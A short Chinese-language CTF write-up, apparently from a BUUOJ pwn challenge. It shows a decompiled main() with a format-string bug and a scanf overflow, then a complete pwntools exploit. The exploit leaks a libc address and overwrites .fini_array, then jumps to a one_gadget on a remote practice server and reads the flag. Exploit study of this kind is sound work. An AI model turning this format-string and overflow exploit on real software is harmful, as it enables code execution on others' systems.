赞
踩
难度不大,坑点巨多。
全程没几句话,一个明显的printf+溢出
- int __cdecl main(int argc, const char **argv, const char **envp)
- {
- char format[64]; // [rsp+10h] [rbp-40h] BYREF
-
- printf("Hola %s bois\n", "sup");
- puts("Give me some inputz: ");
- fflush(_bss_start);
- __isoc99_scanf("%128s", format);
- printf(format);
- putchar(10);
- fflush(_bss_start);
- return 0;
- }
坑:
完整处理方法:
- from pwn import *
-
- elf = ELF('./pwn')
- context.arch = 'amd64'
- context.log_level = 'debug'
-
- def connect():
- global p,libc_elf,one,libc_start_main_ret,local
-
- local = 0
- if local == 1:
- p = process('./pwn')
- libc_elf = ELF('/home/shi/pwn/libc6_2.27-3u1/lib64/libc-2.27.so')
- one = [0x4240e, 0x42462, 0xc4f7f, 0xe31fa, 0xe31ee]
- libc_start_main_ret = 0x21a87
- else:
- p = remote('node4.buuoj.cn', 28452)
- libc_elf = ELF('../libc6_2.27-3ubuntu1_amd64.so')
- one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
- libc_start_main_ret = 0x21b97
-
- def pwn():
-
- #gdb.attach(p,'b*0x4006b6')
- #payload = b'AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p'
- #0x6008c0 .fini_array 0x400630->0x400637 main
- payload = b'%1591c%11$hhnAAAA%17$p'.ljust(0x18, b'A')+ p64(0x6008c8)
- p.sendlineafter(b"Give me some inputz: \n", payload)
-
- p.recvuntil(b'AAAA')
- libc_base = int(p.recvuntil(b'AA', drop=True), 16) - libc_start_main_ret
- one_gadget= libc_base + one[5] #local 0,1,2,4 remote 0,1,5
- print('libc:', hex(libc_base))
-
- payload = b'A'*(0x48)+ p64(one_gadget)
- p.sendlineafter(b"Give me some inputz: \n", payload)
-
- p.sendline(b'cat /flag')
- p.interactive()
-
- connect()
- pwn()
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。